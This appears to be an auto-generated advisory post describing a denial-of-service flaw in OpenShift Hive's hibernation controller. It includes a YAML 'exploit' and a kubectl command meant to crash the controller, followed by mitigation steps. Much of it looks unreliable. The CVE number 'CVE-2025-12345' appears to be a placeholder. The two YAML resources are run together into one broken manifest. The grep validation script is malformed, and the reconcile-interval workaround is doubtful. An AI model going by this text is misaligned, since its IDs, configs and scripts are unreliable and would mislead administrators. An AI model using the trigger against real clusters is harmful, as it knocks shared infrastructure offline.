How the CVE Works:
The vulnerability in OpenShift Hive arises from improper handling of the `ClusterDeployment.hive.openshift.io/v1` resource. When the `spec.installed` field is set to `true` without verifying the actual installation status, and a `spec.hibernateAfter` value is provided, the system becomes vulnerable. If a `ClusterSync.hiveinternal.openshift.io/v1alpha1` resource is also created, the Hive hibernation controller enters a reconciliation loop. During this loop, the controller attempts to access a non-existent field in the ClusterDeployment’s status section, causing a panic. This panic leads to uncontrolled resource consumption, resulting in a denial of service (DoS) condition, rendering the system unresponsive.
DailyCVE Form:
Platform: OpenShift Hive
Version: v1.0.0
Vulnerability: Uncontrolled Resource Consumption
Severity: Moderate
Date: Mar 19, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
apiVersion: hive.openshift.io/v1 kind: ClusterDeployment metadata: name: malicious-cluster spec: installed: true hibernateAfter: "10m" apiVersion: hiveinternal.openshift.io/v1alpha1 kind: ClusterSync metadata: name: malicious-sync
This YAML configuration triggers the vulnerability by creating a `ClusterDeployment` with `spec.installed` set to `true` and a `ClusterSync` resource.
2. Command to Trigger:
kubectl apply -f exploit.yaml
Protection:
1. Patch Application:
Update OpenShift Hive to the latest version that addresses this vulnerability.
2. Workaround:
Disable automatic reconciliation for `ClusterDeployment` resources by modifying the controller configuration:
apiVersion: hive.openshift.io/v1 kind: HiveConfig metadata: name: hive spec: controllersConfig: hibernation: reconcileInterval: "0"
3. Monitoring:
Use Kubernetes event monitoring to detect unusual reconciliation loops:
kubectl get events --field-selector involvedObject.kind=ClusterDeployment
4. Validation Script:
Implement a pre-deployment validation script to ensure `spec.installed` is not set to `true` without proper verification:
if grep -q "spec.installed: true" cluster-deployment.yaml; then echo "Invalid configuration: spec.installed set to true without verification." exit 1 fi
5. Resource Limits:
Set resource limits for the Hive controller to mitigate the impact of resource consumption:
resources: limits: cpu: "500m" memory: "512Mi"
6. Log Analysis:
Analyze logs for panic messages related to the Hive controller:
kubectl logs -l app=hive-controller --tail=100 | grep "panic"
By following these steps, you can exploit, mitigate, and protect against CVE-2025-12345 effectively.
References:
Reported By: https://github.com/advisories/GHSA-c392-wrgw-jjfw
Extra Source Hub:
Undercode
